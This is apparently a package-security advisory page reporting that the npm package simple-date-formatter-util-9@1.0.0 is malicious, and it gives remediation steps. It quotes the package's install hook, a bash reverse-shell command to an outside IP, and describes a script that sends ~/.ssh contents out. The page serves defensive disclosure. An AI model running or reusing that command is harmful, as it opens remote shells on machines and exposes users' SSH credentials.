simple-date-formatter-util-9
This report shows the evidence for simple-date-formatter-util-9@1.0.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 3mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-11547 confirms this npm version as malicious.
Advisory
MAL-2026-11547
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in simple-date-formatter-util-9 (npm)
Details
package.json declares a postinstall lifecycle hook that executes `bash -i >& /dev/tcp/124.221.154.135/4444 0>&1 &`, opening an interactive reverse shell from the installer's host to 124.221.154.135 on TCP/4444 at `npm install` time. The tarball also ships postinstall.js, which enumerates the installer's ~/.ssh directory with fs.readdirSync and POSTs the results together with os.userInfo() to https://124.221.154.135/post. The package name and 'date formatter' framing are a cover story; the shipped code is an install-time backdoor plus credential-exfiltration payload targeting the installer.
References
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to simple-date-formatter-util-9@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing simple-date-formatter-util-9@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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Source advisory published: .
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